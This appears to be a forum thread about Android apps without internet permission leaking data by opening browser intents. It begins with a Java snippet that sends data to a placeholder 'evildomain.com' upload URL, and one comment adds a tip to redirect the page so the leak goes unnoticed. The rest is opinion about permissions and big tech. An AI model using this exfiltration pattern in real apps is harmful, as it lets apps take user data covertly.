Uri uri = Uri.parse("https://evildomain.com/upload?data=DATA_GOES_HERE);
Intent i = new Intent(Intent.ACTION_VIEW, uri);
startActivity(i);
Hey we were already on board with this, you don't have to convince us.
You could very specifically ban ACTION_VIEW intents for web URIs from apps without an internet permission I guess. But does banning apps from linking to the web (to be opened in browsers) really seem like a good idea?
That's also why there's a warning before installing really old apps, they may run with extra permissions.
and isn't it immediately apparent that the app is leaking data if your calculator is popping a webview?
Yes, this is a little suspicious. But you just have the evil page redirect to google.com or something benign. To the user it looks like "huh, chrome just opened on its own."
Calculator.apk wants to open the web page https://eviltracker.example.com. Allow this time? Allow for 24 hours? Allow and don't ask me again?
Doing this for all apps would be wild. Doing this just for those that don't request the internet permission just encourages more apps to request it (it is basically universally used anyway). "Huh, why does my calculator need internet" has never actually been effective at helping people avoid malware at any meaningful scale.
No it wouldn't, not at all.
90% of apps on your phone do not need to be apps. Facebook does not need to be an app. Instagram does not need to be an app.
This is a sober reminder that apps are executables code that is running on your phone with very little sandbox. Its not like a web browser.
We do not need to execute compiled binaries that are closed source to buy parking that one time. No, no we don't.
Why do we? Because as I've said - such apps are much more powerful than the web browser and can therefore be used as spyware or keyloggers. Most apps on Android, including most Google apps, can be regarded as spyware.
Companies don't want to give up their de facto malware they've built up, and now users are trained to just install whatever the fuck on their phone.
We have given software 1000x more permission than it needs to do want it does. And now, we sit back and complain about malware.
This starts with Google, this starts with Meta, this starts with big tech. They directly caused all this malware by forcing users into downloading executables so they can exfiltrate your key presses.